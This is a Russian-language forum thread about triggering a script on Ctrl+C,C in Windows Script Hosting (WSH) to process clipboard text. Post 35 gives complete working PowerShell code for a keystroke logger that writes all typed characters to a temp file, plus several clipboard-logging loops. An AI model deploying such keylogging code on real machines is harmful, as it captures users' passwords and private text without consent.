1 (изменено: kefi, 2013-04-15 15:46:49)

Тема: WSH: Ctrl+C+C - возможно ли как поймать

Подскажите, плз, все забыл, что когда-то знал :

Система XP SP3.
нужно по комбинации Ctrl+C+C не только отправить содержимое в Clipboard (оно , вроде как, и отправляется по такой комбинации в буфер ), но и вызвать js или vbs, который ждет этого события и который должен обработать содержжимое буфера. Ресурсы системы при ожидании нажатия Ctrl+C+C желательно на себя не оттягивать.

2

Re: WSH: Ctrl+C+C - возможно ли как поймать

оно , вроде как, и отправляется по такой комбинации в буфер

Откуда отправляется?

3

Re: WSH: Ctrl+C+C - возможно ли как поймать

kefi пишет:

оно , вроде как, и отправляется по такой комбинации в буфер

Стандартная комбинация уж точно без дополнительной С. Модификаторов может быть несколько в клав. сочетании, но не других клавиш.
Тут не нужен резидентный скрипт. Достаточно назначить в пользовательской среде (файлменеджер, ланчбар, ярлык) комбинацию клавиш и вызывать по ней скрипт, который будет считывать и обрабатывать запись из буфера. Вопрос в том, что конкретное с полученным текстом нужно делать?

4 (изменено: kefi, 2013-04-14 18:11:37)

Re: WSH: Ctrl+C+C - возможно ли как поймать

alexii,Flasher > Я тоже вас не понял.
Короче, когда я нажимаю Ctrl+C+C, то выделенный текст отправляется в буфер из любого места, как оно делается по обычной стандартной Ctrl+C. Но нужно, чтобы скрипт Ctrl+C игнорировал, а Ctrl+C+C ловил - ну не нужно этому скрипту на КАЖДЫЙ Ctrl+C реагировать.
Flasher Что делает скрипт с вытянутой из буфера информацией не имеет никакого значения - он прибавляет к тексту из буфера, интерпретируя его как число, единицу и показывает результат в  окошке на экране пользователю.
А тему я поднял как-раз специально, чтобы не заставлять пользователя жать на ярлычок вызова скрипта - нужно именно по горячей клавишной комбинации вызвать скрипт.

5

Re: WSH: Ctrl+C+C - возможно ли как поймать

Короче, когда я нажимаю Ctrl+C+C, то выделенный текст отправляется буфер из любого места, как оно делается по обычной стандартной Ctrl+C.

Не делается. Ни по «Ctrl-C», ни по «Ctrl-C,C». И уж тем паче — не «из любого места». Ищите у себя, что отвечает за обработку этого.

6 (изменено: kefi, 2013-04-14 18:24:40)

Re: WSH: Ctrl+C+C - возможно ли как поймать

alexii Я не могу Вас понять - что "не делается" , что у Вас в Windows не работает стандартная операция Copy ( Ctrl+C ) ? Ну, впрочем, даже и это не важно.
Вопрос вообще не про то, а про то - как сделать то, что нужно - чтобы скрипт Ctrl+C игнорировал, а Ctrl+C+C ловил, т.е. просто надо по Ctrl+C+С запускать некий алгоритм скрипта в работу, а Ctrl+C - игнорировать.

PS. Я не могу понять - задача настолько банальная , что в это никто поверить даже не может? Но это действительно так, подскажите, пож,, просто я уже давно не был связн с этим и подзабыл.

7

Re: WSH: Ctrl+C+C - возможно ли как поймать

kefi пишет:

alexii,Flasher > Я тоже вас не понял.

Очень жаль.


kefi пишет:

ну не нужно этому скрипту на КАЖДЫЙ Ctrl+C реагировать.

Так надо вешать адекватный хоткей, Ctrl+Shift+C или Ctrl+Alt+C.

kefi пишет:

А тему я поднял как-раз специально, чтобы не заставлять пользователя жать на ярлычок вызова скрипта

Это и не предлагалось.

With CreateObject("WScript.Shell")
  P = "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1407"
  A = .RegRead(P)
  If A > 0 Then .RegWrite P, 0, "REG_DWORD"
  C = Trim(CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text"))
  If A > 0 Then .RegWrite P, A, "REG_DWORD"
End With
If C <> "" Then WSCript.Echo "Результат: 1"

Создаём ярлык на Раб. столе с вызовом скрипта, в в его настройках в поле "Быстрый вызов" нажимаем клавиши Ctrl+(Shift/Alt)+C, подтверждаем.

8 (изменено: kefi, 2013-04-14 18:46:31)

Re: WSH: Ctrl+C+C - возможно ли как поймать

Flasher пишет:
kefi пишет:

alexii,Flasher > Я тоже вас не понял.

Очень жаль.

дело житейское

Создаём ярлык на Раб. столе с вызовом скрипта, в в его настройках в поле "Быстрый вызов" нажимаем клавиши Ctrl+(Shift/Alt)+C, подтверждаем.

У Вас
1) вначале пользователь обязан засунуть в clipboard по Ctrl+C нечто
2) а потом выполнить еще одно действие Ctrl+(Shift/Alt)+C
Кроме того - пользователю нужно еще объяснить, чтобы он не забыл создать неким особенным ( он такого обычно не делает ) образом ярлык при установке программы на свой комп .

Нужно , чтобы не было этого огорода :
Ctrl+C+C - ВСЕ - вызвался скрипт, точнее даже, не вызвался - он и так уже висит в памяти резиденентно и ожидает любимой комбинации Ctrl+C+C ( ну, в крайнем случае, другую буковку в конце , но - это тоже более трудно нажимать, чем одну и ту же C повторить после Ctrl ) . Типа Ctrl+Ins+Ins - вызывается Lingvo словарик и переводит.

9

Re: WSH: Ctrl+C+C - возможно ли как поймать

kefi, Вам с Вашим вопросом сюда: AutoHotkey.

10 (изменено: kefi, 2013-04-14 19:13:34)

Re: WSH: Ctrl+C+C - возможно ли как поймать

alexii Не - мне как-раз НЕ надо никаких дополнительных тулзов - самый что ни на есть нативный подход - только то, что Windows- только WSH .

Набросайте, мне хоть рыбу - как поймать нажатие хоть какой - ни комбинации клавиш в скрипте, не ресурсозатратное только чтобы  !?

11 (изменено: Flasher, 2013-04-14 19:55:51)

Re: WSH: Ctrl+C+C - возможно ли как поймать

kefi пишет:

1) вначале пользователь обязан засунуть в clipboard по Ctrl+C нечто

По умолчанию Ctrl+C берёт из буфера какое-то нечто. Если надо вставлять нечто, то это нечто должно откуда-то браться, не правда ли?

kefi пишет:

Кроме того - пользователю нужно еще объяснить, чтобы он не забыл создать неким особенным ( он такого обычно не делает ) образом ярлык при установке программы на свой комп.

Смотрите - не надорвитесь. Ярлык уже может быть готов. Разместить его на рабочем столе интеллекта у пользователя не хватит?

kefi пишет:

Нужно , чтобы не было этого огорода :
Ctrl+C+C - ВСЕ - вызвался скрипт, точнее даже, не вызвался - он и так уже висит в памяти резиденентно и ожидает любимой комбинации Ctrl+C+C

Ctrl+C+C - это и есть огород. Это нужно после нажатия Ctrl+C ожидать когда нажмётся С повторно, при условии, что может быть нажато что угодно. Какой в этом смысл, когда для этого есть модификаторы?

12

Re: WSH: Ctrl+C+C - возможно ли как поймать

Flasher >
Не надо ничего  , кроме такой просьбы :
Набросайте, мне хоть рыбу - как поймать нажатие хоть какой - ни ( любой ) комбинации клавиш в скрипте, не ресурсозатратное только чтобы  !?

13

Re: WSH: Ctrl+C+C - возможно ли как поймать

kefi
Стандартными методами не представляется возможным.
alexii верно направил, скомпилированный скрипт на AHK решит вопрос.

14

Re: WSH: Ctrl+C+C - возможно ли как поймать

Flasher >
Что уже WSH разучился ловить нажатие клавиш ? Впрочем, у alexii вон даже Ctrl+C в винде на работает, ну ж что ж - тогда не удивительно.
Какая печалька ... "растет сознательность и крепнет рубль, и лишь мозги одни идут на убыль " ©

15

Re: WSH: Ctrl+C+C - возможно ли как поймать

alexii Не - мне как-раз НЕ надо никаких дополнительных тулзов - самый что ни на есть нативный подход - только то, что Windows- только WSH .

В WSH нет никаких средств для перехвата или отслеживания нажатий клавиш. Никаких.

Что уже WSH разучился ловить нажатие клавиш ?

И никогда не умел.

Впрочем, у alexii вон даже Ctrl+C в винде на работает, ну ж что ж - тогда не удивительно.

Не надо ёрничать. Я Вам про Фому, Вы мне про Ерёму.

16 (изменено: kefi, 2013-04-14 23:35:26)

Re: WSH: Ctrl+C+C - возможно ли как поймать

alexii Не надо ёрничать. Я Вам про Фому, Вы мне про Ерёму.
Да Вы хоть прочтите, что Вы написали про Ctrl+C на мой вопрос - по Вашему же получается, что у Вас просто Copy&Paste в системе не работает  :

alexii пишет:

Короче, когда я нажимаю Ctrl+C+C, то выделенный текст отправляется буфер из любого места, как оно делается по обычной стандартной Ctrl+C.

Не делается. Ни по «Ctrl-C», ни по «Ctrl-C,C». И уж тем паче — не «из любого места». Ищите у себя, что отвечает за обработку этого.

PS. Вот именно, что я задал вопрос про Фому, а Вы начали про неизвестно какого Ерему , да еще и предложили где-то у меня поискать этого Ерему . Что из такого ответа можно было понять ?

17

Re: WSH: Ctrl+C+C - возможно ли как поймать

kefi, Вы задали вопрос ни о чём. Некое «стандартное» сочетание клавиш «Ctrl-C,C», работающее к тому же в сферическом вакууме.

Реализация операций Copy/Cut/Paste, равно как и «привязка» горячих клавиш, целиком и полностью «ложится на плечи» конкретно взятого приложения.

P.S. И, да: не во всех стандартных приложениях Windows Ctrl-C означает операцию Copy.

18 (изменено: kefi, 2013-04-15 00:47:24)

Re: WSH: Ctrl+C+C - возможно ли как поймать

alexii Сферический вакуум придумали исключительно Вы. Изначально был совершенно ясный вопрос, не предполагающий никаких двусмысленностей и непонятных фантазий на тему того, что в нормальной Windows Ctrl+С в распространеных приложениях не умеет отправлять выделенное в буфер обмена. Вообще этот момент был не важен изначально, как совершено непроблемный . Важно было поймать в скрипте WSH комбинацию клавиш , и желательно , чтобы это была Ctrl+C+C, как наиболее подходящя для даной цели. К чему вообще были все рассжудения, если в конце оказалось, что WSH "не умеет ловить нажатие клавиши" ? Почему было сразу это не сказать ?

Кстати, есть же какие-то (не помню, как их звать) оболочки в виде dll, вроде DynamicWrapperX или что-то в этом роде, которая умеет работать с COM объектами Windows, если мне склероз не изменяет . Что ж - с помощью их нельзя в скриптах поймать нажатие клавиши ?
Вопрос - как ?! Ну да - пользователю придется инсталлировать DynamicWrapperX , а может - даже и непридется -  это в самом скрипте можно организовать.

19

Re: WSH: Ctrl+C+C - возможно ли как поймать

Если PowerShell достаточно "нативен" для Вас - вот пример отлова событий клавиатуры - реальный keylogger, со всеми свистелками (правда только код прочитал - не пробовал - похоже все по уму).

20

Re: WSH: Ctrl+C+C - возможно ли как поймать

2 kefi: Полностью разделяю точку зрения и поддерживаю мнение уважаемых alexii, Flasher и dab00. Возможно ошибаюсь, но мне явно кажется, что Вы не совсем представляете о чём говорите. Во первых, само описание сочетания клавиш Ctrl+C+C как минимум странно. alexii не зря вас поправил "Ctrl-C,C". Знак "+" в сочетании клавиш обозначает одновременное нажатие (зажатие) клавиш. И одну и туже клавишу "зажать" несколько раз невозможно. Можно лишь последовательно нажать "С" несколько раз. Во вторых, сам факт перехвата события нажатия клавиш уже подозрителен. Зачем скрипту / программе не имеющей собственного интерфейса перехватывать нажатия клавиш ? Keylogger ? Или же интерфейс всё таки есть ?

Передумал переделывать мир. Пашет и так, ну и ладно. Сделаю лучше свой !

21

Re: WSH: Ctrl+C+C - возможно ли как поймать

Xameleon пишет:

Keylogger ? Или же интерфейс всё таки есть ?

Про keylogger - это Ваше объяснение или Ваш вопрос мне ? Нет, не keylogger , просто удобная вызывалка алгоритма расчета после того, как тот  отправит в буфер число, выделенное в тексте .
Интерфейса нет, только результат работы в окошке сообщения будет пользователю представлен. Система XP SP3

22

Re: WSH: Ctrl+C+C - возможно ли как поймать

kefi пишет:

Про keylogger - это Ваше объяснение или Ваш вопрос мне ?

Это и вопрос и предположение.

просто удобная вызывалка алгоритма расчета после того, как тот  отправит в буфер число, выделенное в тексте

Если текст где то выделяется, значит интерфейс уже какой то есть. Текст же рисуется не на рабочем столе, а в форме (окне) некоторого приложения ? Опять же, логичный вопрос, приложение чужое или собственной разработки ?

P.S "Вызвать алгоритм" нельзя. Вызвать можно неотложку, такси, врача или демона на крайний случай. ) А алгоритм можно составить. ) Ибо он всего лишь -

набор инструкций, описывающих порядок действий исполнителя для достижения результата решения задачи за конечное число действий.

Нет. Я не придираюсь к словам. Я стараюсь Вам помочь понять, чего Вы хотите. )

Передумал переделывать мир. Пашет и так, ну и ладно. Сделаю лучше свой !

23 (изменено: kefi, 2013-04-15 19:17:07)

Re: WSH: Ctrl+C+C - возможно ли как поймать

Если текст где то выделяется, значит интерфейс уже какой то есть. Текст же рисуется не на рабочем столе, а в форме (окне) некоторого приложения ? Опять же, логичный вопрос, приложение чужое или собственной разработки ?

К чему говорить о каком-то приложении ( второй день пошел , как толкем воду - видимо, все настолько ясно, что никто из корифеев не может осознать , что могут быть столь простейшие желания, придумывая какие-то сложности в постановке
Вот к чему эти придирки :

само описание сочетания клавиш Ctrl+C+C как минимум странно. alexii не зря вас поправил "Ctrl-C,C". Знак "+" в сочетании клавиш обозначает одновременное нажатие (зажатие) клавиш. И одну и туже клавишу "зажать" несколько раз невозможно

ну понятно же - что невозможно одновременно нажать одну и ту же клавишу, так чего тут мусолить этот момент ?
Или  - эти рассуждения, что "алгоритму нельзя передать управление" - что за иезуитская софистика !?
)

Так вот , неважно в каком приложении - я же сразу сказал - ВЕЗДЕ, где только в Windows возможно это сделать ( выделить текст и послать его в буфер) - в любом месте , где работает текстовый редактор Windows  - да, хоть при переименовании имени ярлыка . Разговор об интерфейсе тут ни к чему.

Я стараюсь Вам помочь понять, чего Вы хотите. )

Вы думаете я не знаю - что я хочу ? Я просто удивлен, что столь примитивные желания приходится толочь в объяснениях целый день, после чего alexii заявляет , что это невозможно - а чтоб сразу не сказать ( ?! )...

Я хочу супер банального: пользователь выделяет текст , отправляет его по Ctrl+C в буфер обмена, после добавляет быстренько (видимо, с настраиваемой в программе задержкой) еще одно нажатие C ( типа , как мы это делаем при вызове переводчика Lingvo, только там Ctrl+Ins+Ins ) и  - как результат, видит у себя на экране некое окошечко , выданное обсуждаемой программкой. Все. Система WinXP SP3, PowerShell не знаю - есть там или нет - точнее, просто не знаю про PowerShell ничего ( это для ясности ).

24

Re: WSH: Ctrl+C+C - возможно ли как поймать

Xameleon, это бесполезно .

Я хочу супер банального:…

kefi, флаг Вам в руки. Два направления исследований Вам были указаны.

25

Re: WSH: Ctrl+C+C - возможно ли как поймать

kefi, "нативного" подхода с подобной реализацией как у Лингво - считаю, что не будет, все же Лингво предварительно запускается и видимо его резидендный модуль просто следит, чтобы между двумя последовательными Ctrl+C был малый промежуток времени (не более, например, 2-3 сек) для инициализации старта перевода содержимого буфера.

Может еще и следящая за нажатыми хоткеями тулза на AutoIt поможет, хотя легче организовать облегченную для пользователя процедуру установки ярлыка с хоткеем Ctrl+Shift+C / Ctrl+Alt+C, т.к. резидентную тулзу ведь тоже надо будет предварительно устанавливать и стартовать.


оффтоп
кстати, у меня на Лингво под WinXP комбинация Ctrl+C - Ctrl+C работает, а на Win-7 - уже нет, хотя в настройках наче и включена, правда версии Лингво немного разные...

WBR. Roman

26

Re: WSH: Ctrl+C+C - возможно ли как поймать

У Вас
1) вначале пользователь обязан засунуть в clipboard по Ctrl+C нечто
2) а потом выполнить еще одно действие Ctrl+(Shift/Alt)+C
Кроме того - пользователю нужно еще объяснить, чтобы он не забыл создать неким особенным ( он такого обычно не делает ) образом ярлык при установке программы на свой комп .
...
Не - мне как-раз НЕ надо никаких дополнительных тулзов - самый что ни на есть нативный подход - только то, что Windows- только WSH .
...
Кстати, есть же какие-то (не помню, как их звать) оболочки в виде dll, вроде DynamicWrapperX или что-то в этом роде, которая умеет работать с COM объектами Windows, если мне склероз не изменяет . Что ж - с помощью их нельзя в скриптах поймать нажатие клавиши ?

Вопрос - как ?! Ну да - пользователю придется инсталлировать DynamicWrapperX , а может - даже и непридется -  это в самом скрипте можно организовать.
...
Вы думаете я не знаю - что я хочу ?

Ребята, это аут... http://www.kolobok.us/smiles/big_madhouse/wacko3.gif

27 (изменено: dab00, 2013-04-16 00:24:15)

Re: WSH: Ctrl+C+C - возможно ли как поймать

off: На мой взгляд вопрос решен. Похоже на один из предыдущих постов, надо понимать разницу между "прошу помощи" и "сделай за меня" . Обратил внимание, что время поста - минус час от МСК - сервак не в прибалтике? или  Кёнигсберге? Да неважно, есть же возможность каждому показывать локальное время.
p.s. Сорри, как вышел - время поста устаканилось .
p.p.s. Как зашел - обратно прибалтика .

28

Re: WSH: Ctrl+C+C - возможно ли как поймать

dab00, поправьте часовой пояс у себя в профиле (Настройки) с «Прибалтики» на корректный.

29

Re: WSH: Ctrl+C+C - возможно ли как поймать

Спасибо, поправил. Давненько не брал в руки... .

30

Re: WSH: Ctrl+C+C - возможно ли как поймать

Flasher, проблема в том, что:

+ открыть спойлер

автору не хватает знаний о том, как организована операционная система изнутри, потому такой сумбур в изложении. Как следствия:
а) автор изначально не сумел толком объяснить проблему, а вместо этого начал излагать своё понимание решения;
б) на любые попытки разъяснения автор неадекватно реагирует.

31

Re: WSH: Ctrl+C+C - возможно ли как поймать

2 alexii: Мда... Печальный случай )

+ открыть спойлер

Ну что ж. Не будем ему мешать ломать зубы о гранит познания. )

Передумал переделывать мир. Пашет и так, ну и ладно. Сделаю лучше свой !

32

Re: WSH: Ctrl+C+C - возможно ли как поймать

создайте ярлык на рабстоле и замените хоткей

Я конечно далек от мысли... (с)

33

Re: WSH: Ctrl+C+C - возможно ли как поймать

не все так однозначно с авторами - когда пользователь излагает беду - если не решено - проблема в поддержке, а не в неумении изложить.

Я конечно далек от мысли... (с)

34

Re: WSH: Ctrl+C+C - возможно ли как поймать

2smaharbA:

+ открыть спойлер

ну, так в чём проблема, покажите мастер-класс — решите задачу автора средствами WSH.

35 (изменено: dab00, 2013-06-03 19:41:38)

Re: WSH: Ctrl+C+C - возможно ли как поймать

Написал одно решение с подачи этого поста. Не Ctrl+C+C, но клаву "поймать" может. Clipboard тоже.
Симбиоз платформ COM и .NET, Windows Management Framework, облачных сервисов Google, PowerShell и JavaScript.

Без отправки данных на сервер, на PowerShell ловить события клавиатуры и писать в локальный лог можно так:


$MAPVK_VSC_TO_VK_EX = 0x03

$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
'@

$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@

$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@

$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru

$ss_ms = 50 # выполнение кода в бесконечном цикле каждые 50 миллисекунд
$logfile = "$env:temp\key.log" # путь к файлу журнала

while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $gotit = ""
    for ($char = 1; $char -le 254; $char++) {        
        $gotit = $getKeyState::GetAsyncKeyState($char)
        if ($gotit -eq -32767) {
            $scancode = $getKey::MapVirtualKey($char, $MAPVK_VSC_TO_VK_EX)

            $kbstate = New-Object Byte[] 256
            $checkkbstate = $getKBState::GetKeyboardState($kbstate)

            $mychar = New-Object -TypeName "System.Text.StringBuilder";
            $unicode_res = $getUnicode::ToUnicode($char, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

            if ($unicode_res -gt 0) {                
                [System.IO.File]::AppendAllText($logfile, $mychar.ToString(), [System.Text.Encoding]::Unicode)
            }
        }
    }
}

С буфером обмена решил так:


Add-Type -AssemblyName System.Windows.Forms
$ss_ms = 500 # выполнение кода в бесконечном цикле каждые 500 миллисекунд
$cbtext = ""
$cbfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена
while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $tb = New-Object System.Windows.Forms.TextBox
    $tb.Multiline = $true
    $tb.Paste()
    $cb = $tb.Text
    if ($cbtext -ne $cb) {
        $cbtext = $cb
        Out-File -FilePath $cbfile -Encoding Unicode -Append -InputObject $cbtext.ToString()        
    }
}

С буфером можно и так:


$ss_ms = 500
$cbtext = ""
$logfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена
while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $cb = [System.Windows.Clipboard]::GetText()
    if ($cbtext -ne $cb) {
        $cbtext = $cb
        Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $cbtext.ToString()        
    }
}

или так:


Add-Type -AssemblyName System.Windows.Forms
$ss_ms = 500
$cbtext = ""
$logfile = "$env:temp\key.log"
while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $cb = [Windows.Forms.Clipboard]::GetText()
    if ($cbtext -ne $cb) {
        $cbtext = $cb
        Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $cbtext.ToString()        
    }
}

но таким образом через командлет Start-Job не прокатит.

36

Re: WSH: Ctrl+C+C - возможно ли как поймать

Почему то никто не вспомнил простую и элегантную реализацию мониторинга за содержимым буфера обмена by Serge Yolkin.